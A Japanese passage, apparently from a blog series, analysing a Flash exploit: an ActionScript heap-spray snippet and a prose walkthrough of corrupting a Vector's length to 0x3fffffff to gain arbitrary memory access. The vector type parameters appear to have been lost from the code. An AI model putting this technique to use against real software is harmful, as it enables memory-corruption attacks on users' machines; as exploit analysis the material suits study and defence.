this.spraysound = new Vector.
(0x100);

len = 0;
while (len < 0x100) {
this.spraysound[len] = new Vector.
(0x1234);
  for (i=0; i < this.spraysound[len].length; i++) {
    this.spraysound[len][i] = this.sound; 
  }
  ++len;
}

init_heap() で Heap Spray が終わると、ExternalInterface.call() を使って JavaScript の関数を呼び出し、脆弱性を実行します。これには少し時間がかかるので、タイマーを使って 1 秒毎に、0x18180 ある配列のうち、どれか一つが 0100003f0 に変わっているかどうかを確認します。0100003f0 になっている配列を見つけたら、すかさずそのインデックスを記録し、タイマーを止めてから corruptNextVector() を呼び出します。この corruptNextVector() は単純で、配列の要素をチェックして、000003f0 があったら 3fffffff に変更するだけです。配列の要素はすべて 0x1a1a1a1a で初期化したはずですが、脆弱性によって配列が "延長" されているため、次の配列の長さを保持する DWORD 値に対して、配列からアクセスすることができるのです。前述のように、1a000000 前後では基本的に全てページが 3f0 の配列で埋められているので、ここで 3fffffff をセットする位置は、1a000000 の次のページである 1a001000 になるはずです。汎用性を気にしないとしたら、corruptNextVector() を使わなくても、this.s[i][0x1000/4-2]=0x3FFFFFFF で同じことが実行できるはずです。3fffffff をセットしたら、getCorruptedVectorIndex() を使って、長さが 3fffffff になっている配列のインデックスを取得します。ここまでで、配列を使って0x1a000008 以降の任意のメモリへのアクセスが可能になりました。

少々短いですが、今回はここまで。